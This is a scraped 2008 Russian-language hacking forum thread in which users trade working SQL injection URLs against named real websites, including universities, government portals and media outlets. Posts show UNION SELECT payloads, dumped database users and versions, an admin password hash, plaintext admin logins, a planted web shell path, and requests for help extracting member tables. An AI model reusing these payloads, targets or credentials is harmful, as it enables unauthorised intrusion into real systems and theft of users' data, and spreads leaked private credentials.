SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    БАЯН! уже второй раз постишь :mad:

    http://www.google.ru/search?complete=1&hl=en&newwindow=1&q=site%3Aforum.antichat.ru+eggs.net.ua&btnG=Search&aq=f
     
    2 people like this.
  2. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Astrakhanfm.ru - PR 4
    Glier.ru - PR 3
    5 версия, таблы..
    /admin


    Activetoy.co.uk - PR 3
    Kenzahealth.co.za
    5 ветка, нужная нам таблица...
    мемберы..
    рут....


    Ash-graphics.co.uk
    Robappelhof.com
    Chichomerida.com
    Nea7
    ты думаеш я помню что выкладывал ? ты знаеш через сколько сайтов мои руки проходят ? тем более то что выкладовал уже не актуально! + в антибояне нету!
     
    #6122 sabe, 3 Aug 2008
    Last edited: 6 Aug 2008
  3. dudits

    dudits Banned

    Joined:
    2 Jun 2007
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    не работает ... пустая страница вылезает, и что значит это ??:

    /forum

    /admin
     
  4. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    diso.interatletika.com
    http://diso.interatletika.com/index.php?option=com_simpleshop&task=browse&Itemid=92&catid=-1+UNION+SELECT+1,2,3,4,5,6,7,8%23

    VERSION(): 5.0.51a-community
    DATABASE(): interatlet_diso
    USER(): interatlet_diso@localhost
     
  5. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Radioas.ro - PR 4
    5 ветка.. таблы и phpbb ))
    получайем доступ к форуму: /forum
    radioasforum;pswd13
    пытался залить шелл... но неудача, навреника нету прав на запись аватарок (
    если кто что зальет пишите..)


    Yelli.co.il - PR 4
    5 ветка, вывод таблиц в сорсе..
    мемберы..


    Surcon.ru - PR 4
    5 ветка и таблы..
    Teamcalendars.co.uk
    5 ветка, таблы.
    /admin
    /index.php?p=Upload


    Stars.com.ua
     
    #6125 sabe, 3 Aug 2008
    Last edited: 4 Aug 2008
  6. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.utsmow.ru/sport/sport.php4?sport_id=-1+union+select+1,2,3,4,5,6,7,8,9

    5 мускул, ничего полезного в табличках не обнаружено... ч то-то не катит сегодня...
     
  7. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    Code:
    http://[COLOR=Red][SIZE=5]www.tubebrasil.com.br[/SIZE][/COLOR]/ugroups.php?UID=745/**/union/**/select/**/1,2,3,4,5,6,concat_ws(0x3a,username,pwd),8,9,0,1,2,3,4,5,6,7,8/**/from/**/%73%69%67%6E%75%70--
    admin:969d4931173451a004d2a3f6037e162c
     
    #6127 kair, 4 Aug 2008
    Last edited: 4 Aug 2008
    2 people like this.
  8. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Rustavi2.com - PR 4
    меня очень порадовал здесь вывод... LASTEST NEWS: и идет перебор таблиц с интервалом в сек.))
    так же красиво просматриваем юзеров..


    Eaststaffsbc.gov.uk - PR 4
    Guillembalague.com - PR 4
    Gkovacs.de - PR 3
    5 ветка, таблы..
    пароли..


    Astrotur.ru - PR 3
     
    #6128 sabe, 4 Aug 2008
    Last edited: 5 Aug 2008
    3 people like this.
  9. *D1VER

    *D1VER Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    108
    Likes Received:
    67
    Reputations:
    21
    Санкт-Петербугский Государственный Университет Гражданской Авиации

    http://www.academiaga.ru/index.php?id=-1+union+select+concat(nick,0x27,password,0x27,email,0x27,id),2,3,4+from+users+limit+1,1311/*&lang=0
     
  10. MirA

    MirA Member

    Joined:
    24 Jul 2008
    Messages:
    25
    Likes Received:
    16
    Reputations:
    0
    http://www.yavlinsky.ru

    сайт веселый)
    но кроме как того,что на нем 3 ветка ничего сказать не могу..
     
  11. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430

    https://forum.antichat.ru/thread79372.html ?
     
    1 person likes this.
  12. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    мистр вы обнаглели ?
     
  13. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Jordanpost.com.jo - PR 5
    5 версия мускуля, таблицы)


    Montrealmedia.com - PR 5
    Khan.co.il - PR 5
    Еврейский теарт)
    Mahkamahkonstitusi.go.id - PR 5
    Toeic.com.vn - PR 4
    5 ветка, таблы..
    админка


    Complete-gardens.co.uk - PR 4
    4 ветка..

    Linkstorm.com - PR 3
    5 ver. tables.
    мемберы..
    /admin - 403


    Cistyle.de
    5 ветка и таблы.
    admin:login
     
    #6133 sabe, 4 Aug 2008
    Last edited: 4 Aug 2008
    1 person likes this.
  14. USAkid

    USAkid Elder - Старейшина

    Joined:
    17 Jun 2008
    Messages:
    191
    Likes Received:
    76
    Reputations:
    29
    Начинаю осваиваться :)

    facasper.com.br (какой-то Бразильский сайт)

    Code:
    http://www.facasper.com.br/jo/unotas.php?sub_categoria=-16+union+select+1,2,3,concat_ws(version(),0x3a,user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*
    user - [email protected]
    version - 5.0.24a-standard

    Таблицы (from information_schema):
    Code:
    http://www.facasper.com.br/jo/unotas.php?sub_categoria=-16+union+select+1,2,3,concat_ws(table_name,table_schema),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+information_schema.tables/*
    Раскрытие пути:
    Code:
    /usr/local/apache/htdocs/facasper.com.br/pos/nucleo_pesquisa/edicao/conexao/
     
    #6134 USAkid, 4 Aug 2008
    Last edited: 4 Aug 2008
    1 person likes this.
  15. USAkid

    USAkid Elder - Старейшина

    Joined:
    17 Jun 2008
    Messages:
    191
    Likes Received:
    76
    Reputations:
    29
    .edu

    Code:
    http://www.msse.umn.edu/alumni_calendar.php?id=199'union+select+1,2,unhex(hex(concat_ws(version(),0x3a,user()))),4,5,6,7,8,9,10/*
    version - 5.0.18
    user - [email protected]

    Юзеров с паролями не нашел, т.к. то таблицы нет, то доступ запрещен.


    P.S: отдельная благодарность aka PSIH, sabe и Ershik за помощь с функциями кодировки :)
     
    1 person likes this.
  16. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Riptopia.com - PR 5
    5 ветка.... и нече интересного в базе..
    это уже интереснее..

    Tv-live.ro
    Bugstrainingcenter.com
    5 ветка и таблы... но сам сайт очень медленый..
    Metabras.ro
    Ghanadate.co.uk
    Scarsdalecoops.com
    Sb-fitnes.net
    Danielletaaffe.com
     
    #6136 sabe, 4 Aug 2008
    Last edited: 6 Aug 2008
    1 person likes this.
  17. атеист

    атеист New Member

    Joined:
    4 Aug 2008
    Messages:
    1
    Likes Received:
    2
    Reputations:
    0
    http://pravostok.ru/adm/
    admin:Cr#27Ma

    шелл
    http://pravostok.ru/uploaded/Alaska/148.php

    http://pravostok.ru/ru/updates/index.php?from=10&id=-%2099999+union+select+1,2,concat_ws(0x3a,ADMINISTRATOR_ID,LOGIN,PASSWORD_MD5),4,5,6,7,8,9,10,%20%2011,12,13,14+from+ADMINISTRATOR/*

    посмотрите пожалуйста что там и как
     
    2 people like this.
  18. Cowcanfly

    Cowcanfly New Member

    Joined:
    4 Aug 2008
    Messages:
    5
    Likes Received:
    2
    Reputations:
    0
    Помогите с http://la2s.a42.ru/index.php?d=library/news&p=comments&newsid=-1'+union+select+1,2,3,table_name+from+information_schema.tables+limit+1,1/*
    Названия таблиц выводятся, но при попытке вывести данные
    http://la2s.a42.ru/index.php?d=library/news&p=comments&newsid=-1%27+union+select+1,2,3,concat_ws(0x3a,name,member_login_key)+from+ibf_members+limit+0,1/*
    автоматически добавляет site.news к названию таблицы, и пишет что такой то таблицы нету
     
  19. MirA

    MirA Member

    Joined:
    24 Jul 2008
    Messages:
    25
    Likes Received:
    16
    Reputations:
    0
    http://www.mongoliatourism.gov.mn

    4 ветка,полей для вывода нет,нашел нефильтруемый параметр id в index.php и download.php

    есть табличка users с колонками id,name,pass
    http://www.must-library.edu.mn

    Очень бажный сайт,
    3 версия мускула...

     
    #6139 MirA, 5 Aug 2008
    Last edited: 5 Aug 2008
  20. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Chemeng.technion.ac.il - PR 6
    Spatialinformationdesignlab.org - PR 6
    columbia university organization
    Pzb.com.pl - PR 4
    Infokom-sulteng.go.id - PR 3
    5 ver. tables..
    Mojmac.com
    Cashsavings2003.com
    Cowcanfly
    сморим таблицы... и базы в которых они находятся..
    а вот и все юзеры.. )
     
    #6140 sabe, 5 Aug 2008
    Last edited: 6 Aug 2008
    2 people like this.
Thread Status:
Not open for further replies.